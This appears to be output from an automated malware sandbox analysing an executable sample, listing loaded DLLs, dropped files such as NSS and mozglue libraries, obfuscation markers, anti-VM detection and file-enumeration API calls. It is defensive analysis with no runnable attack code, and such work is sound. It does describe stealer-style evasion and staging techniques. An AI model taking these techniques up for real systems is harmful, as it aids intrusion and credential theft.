Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll	Jump to behavior

Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\ProgramData\EHDHIDAEHC.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: mozglue.pdbP source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2188073732.00000000358C9000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2206774883.000000006C30D000.00000002.00000001.01000000.00000008.sdmp, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2185251178.000000002F952000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2185251178.000000002F952000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2200231222.000000004D676000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr
Source:	Binary string: minelabfoto.pdb( source: mine[1].exe.0.dr, EHDHIDAEHC.exe.0.dr
Source:	Binary string: minelabfoto.pdb source: EHDHIDAEHC.exe, 00000004.00000000.2083490533.0000000000602000.00000002.00000001.01000000.00000009.sdmp, mine[1].exe.0.dr, EHDHIDAEHC.exe.0.dr
Source:	Binary string: PE.pdbH] source: EHDHIDAEHC.exe, 00000004.00000002.2092269679.0000000002E61000.00000004.00000800.00020000.00000000.sdmp, EHDHIDAEHC.exe, 00000004.00000002.2097766953.00000000053B0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: C:\Users\press\AppData\Local\Temp\Report.A66214F7-6635-4084-8609-050NK772Dll\obj\Debug\kfqXL.pdb source: EHDHIDAEHC.exe, 00000004.00000002.2094707680.000000000426C000.00000004.00000800.00020000.00000000.sdmp, EHDHIDAEHC.exe, 00000004.00000002.2094707680.0000000003FFE000.00000004.00000800.00020000.00000000.sdmp, EHDHIDAEHC.exe, 00000004.00000002.2098035068.0000000005634000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: softokn3.pdb@ source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2193997292.00000000417A2000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2197298605.0000000047710000.00000004.00000020.00020000.00000000.sdmp, vcruntime140.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2191144720.000000003B838000.00000004.00000020.00020000.00000000.sdmp, msvcp140.dll.0.dr
Source:	Binary string: PE.pdb source: EHDHIDAEHC.exe, 00000004.00000002.2092269679.0000000002E61000.00000004.00000800.00020000.00000000.sdmp, EHDHIDAEHC.exe, 00000004.00000002.2097766953.00000000053B0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: nss3.pdb source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2200231222.000000004D676000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr
Source:	Binary string: mozglue.pdb source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2188073732.00000000358C9000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2206774883.000000006C30D000.00000002.00000001.01000000.00000008.sdmp, mozglue.dll.0.dr
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2181684903.0000000025178000.00000002.00001000.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2181945016.00000000276BB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2356461481.0000000020028000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2349842336.000000001A0B7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: softokn3.pdb source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2193997292.00000000417A2000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: 4.2.EHDHIDAEHC.exe.2ed93c8.1.raw.unpack, fDX9tehJ5EFemhKZwc.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 4.2.EHDHIDAEHC.exe.53b0000.13.raw.unpack, fDX9tehJ5EFemhKZwc.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 4.2.EHDHIDAEHC.exe.2ec49a0.0.raw.unpack, fDX9tehJ5EFemhKZwc.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})

Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Code function: 0_2_003E7A40 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_003E7A40

Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_003ECDD5 push ecx; ret	0_2_003ECDE8
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C2CB536 push ecx; ret	0_2_6C2CB549
Source: C:\ProgramData\EHDHIDAEHC.exe	Code function: 4_2_054BCBC0 pushad ; retf	4_2_054BCBD9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_0041CDD5 push ecx; ret	6_2_0041CDE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FE11BF9 push ecx; ret	6_2_1FFB4C03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FE110C8 push ecx; ret	6_2_20013552

Source: 4.2.EHDHIDAEHC.exe.2ed93c8.1.raw.unpack, fDX9tehJ5EFemhKZwc.cs	High entropy of concatenated method names: 'ce4DmfsmSrOT856tDgfrkMb', 'NvQOxwsIFR', 'QsUuklFoHUiQD', 'MCRoDX9te', 'l5EbFemhK', 'uwcnnhQXJ', 'J3PigtLyh', 'PwdNpFGeB', 'XCj67ZIOy', 'w09DYCs5D'
Source: 4.2.EHDHIDAEHC.exe.2ed93c8.1.raw.unpack, zcrmeG4DKc05Qj8A7l.cs	High entropy of concatenated method names: 'Ys7O1WDVbX', 'EIxO3RK2jf', 'ov3OzJmFFU', 'KJS0ILfinW', 'Gtt0O5H9rf', 'Gvj00KAYqN', 'hUG0r1tocH', 'PBb0lrpBsM', 'pGy05VOh0y', 'j3M0RfBB5l'
Source: 4.2.EHDHIDAEHC.exe.53b0000.13.raw.unpack, fDX9tehJ5EFemhKZwc.cs	High entropy of concatenated method names: 'ce4DmfsmSrOT856tDgfrkMb', 'NvQOxwsIFR', 'QsUuklFoHUiQD', 'MCRoDX9te', 'l5EbFemhK', 'uwcnnhQXJ', 'J3PigtLyh', 'PwdNpFGeB', 'XCj67ZIOy', 'w09DYCs5D'
Source: 4.2.EHDHIDAEHC.exe.53b0000.13.raw.unpack, zcrmeG4DKc05Qj8A7l.cs	High entropy of concatenated method names: 'Ys7O1WDVbX', 'EIxO3RK2jf', 'ov3OzJmFFU', 'KJS0ILfinW', 'Gtt0O5H9rf', 'Gvj00KAYqN', 'hUG0r1tocH', 'PBb0lrpBsM', 'pGy05VOh0y', 'j3M0RfBB5l'
Source: 4.2.EHDHIDAEHC.exe.2ec49a0.0.raw.unpack, fDX9tehJ5EFemhKZwc.cs	High entropy of concatenated method names: 'ce4DmfsmSrOT856tDgfrkMb', 'NvQOxwsIFR', 'QsUuklFoHUiQD', 'MCRoDX9te', 'l5EbFemhK', 'uwcnnhQXJ', 'J3PigtLyh', 'PwdNpFGeB', 'XCj67ZIOy', 'w09DYCs5D'
Source: 4.2.EHDHIDAEHC.exe.2ec49a0.0.raw.unpack, zcrmeG4DKc05Qj8A7l.cs	High entropy of concatenated method names: 'Ys7O1WDVbX', 'EIxO3RK2jf', 'ov3OzJmFFU', 'KJS0ILfinW', 'Gtt0O5H9rf', 'Gvj00KAYqN', 'hUG0r1tocH', 'PBb0lrpBsM', 'pGy05VOh0y', 'j3M0RfBB5l'

Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	File created: C:\ProgramData\EHDHIDAEHC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mine[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	File created: C:\ProgramData\EHDHIDAEHC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

0_2_003E7A40

Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\EHDHIDAEHC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\EHDHIDAEHC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\EHDHIDAEHC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\EHDHIDAEHC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\EHDHIDAEHC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\EHDHIDAEHC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\EHDHIDAEHC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\EHDHIDAEHC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\EHDHIDAEHC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\EHDHIDAEHC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\EHDHIDAEHC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\EHDHIDAEHC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\EHDHIDAEHC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\EHDHIDAEHC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\EHDHIDAEHC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\EHDHIDAEHC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\EHDHIDAEHC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\EHDHIDAEHC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\EHDHIDAEHC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\EHDHIDAEHC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\EHDHIDAEHC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\EHDHIDAEHC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\EHDHIDAEHC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\EHDHIDAEHC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\EHDHIDAEHC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\EHDHIDAEHC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\EHDHIDAEHC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\EHDHIDAEHC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\EHDHIDAEHC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\EHDHIDAEHC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\EHDHIDAEHC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\EHDHIDAEHC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: EHDHIDAEHC.exe PID: 5460, type: MEMORYSTR

Source: C:\ProgramData\EHDHIDAEHC.exe	Memory allocated: 1360000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\EHDHIDAEHC.exe	Memory allocated: 2E60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\EHDHIDAEHC.exe	Memory allocated: 4E60000 memory reserve \| memory write watch	Jump to behavior

Source: C:\ProgramData\EHDHIDAEHC.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

API coverage: 9.3 %

Source: C:\ProgramData\EHDHIDAEHC.exe TID: 6888	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe TID: 2208	Thread sleep count: 78 > 30			Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_003D1110 FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_003D1110
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_003D99F0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_003D99F0
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_003E5EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_003E5EA0
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_003DC2E0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_003DC2E0
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_003DA2C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_003DA2C0
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_003E56C0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	0_2_003E56C0
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_003DB390 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_003DB390
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_003E4F80 wsprintfA,FindFirstFileA,memset,memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,memset,lstrcatA,strtok_s,strtok_s,memset,lstrcatA,strtok_s,PathMatchSpecA,DeleteFileA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,strtok_s,FindNextFileA,FindClose,	0_2_003E4F80
